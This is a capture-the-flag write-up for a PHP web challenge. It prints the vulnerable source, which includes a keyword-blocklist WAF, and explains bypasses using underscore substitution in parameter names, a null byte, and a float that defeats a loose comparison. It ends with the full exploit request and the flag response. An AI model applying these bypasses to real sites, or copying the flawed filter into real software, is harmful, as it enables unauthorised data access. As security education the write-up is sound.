In this challenge we were given the source of a vulnerable PHP page and were tasked with the exploitation.
Challenge Description
Our Solution
First, here is the source code:
<?php
$dataset = [
0 => ['Blaklis', 'The flag is INS{snip}.'],
1 => ['Lambda guy', 'We don\'t have anything interesting to say'],
2 => ['Lambda guy 2', 'We still do not say anything interesting'],
3 => ['Lambda guy 3', 'PHP is the best language ever!']
];
$block = (function($request) {
$blocked = FALSE;
$keywords = ['_', 'admin=', '\'', '"', '[', ']', '\\', " ", chr(9),chr(10),chr(11),chr(12),chr(13),chr(133),chr(160),"%"];
foreach($keywords as $keyword)
if(strpos(urldecode($request),$keyword) !== FALSE)
$blocked = TRUE;
return ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') ? FALSE : $blocked;
})($_SERVER['REQUEST_URI']);
!$block?:die('Die by the WAF!');
if($_SERVER['REQUEST_METHOD'] === 'POST' && $_GET['is_admin'] == 1) {
$data = str_replace(" ","",file_get_contents("php://input"));
$datablock = (function($post_data) {
$blocked = (strlen($post_data) > 30 || !($a = json_decode($post_data)));
return $blocked;
})($data);
!$datablock?:die('Die by the WAF!');
$a = (array)json_decode($data);
if(isset($a['userid']) && ($a['userid'] != 0 || $_SERVER['REMOTE_ADDR'] === '127.0.0.1')) {
if(isset($dataset[$a['userid']])) {
echo "It's name is ".$dataset[$a['userid']][0]." and he would like to say : ".$dataset[$a['userid']][1];
exit;
}
}
}
die('Die by... nothing?');
There were 3 things to take into account:
- The block() function on line 9-17 while maintaining is_admin=1 to fulfill condition on line 19
- The length limitation and the fact that the POST body must be valid JSON data (line 22)
- The fact that we want to access the element 0 of the $dataset array although the userid parameter cannot be equal to 0 (line 28)
To do that we must exploit several tricks of PHP. First is appears that PHP replaces some characters by _ when present in URL parameters. This could be used to bypass the underscore filter. We can bypass the “admin=” filter with a null byte. Then we have to play with PHP loose comparison to make it such that the userid is 0 and not 0 at the same time. This can be achieved by using 0.1 (floating point value). It will be evaluated as not zero when comparing but truncated to 0 when used as an integer array index.
The final request is as follows:
POST /?is.admin%00=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,fr;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
X-Http-Forwarded-For: 127.0.0.1
Content-Length: 14
{"userid":0.1}
And the response containing the flag:
HTTP/1.1 200 OK
Date: Fri, 23 Mar 2018 18:31:30 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 81
Connection: close
Content-Type: text/html; charset=UTF-8
It's name is Blaklis and he would like to say : The flag is INS{PHP_1s_4d0r4bl3}.

Leave a Reply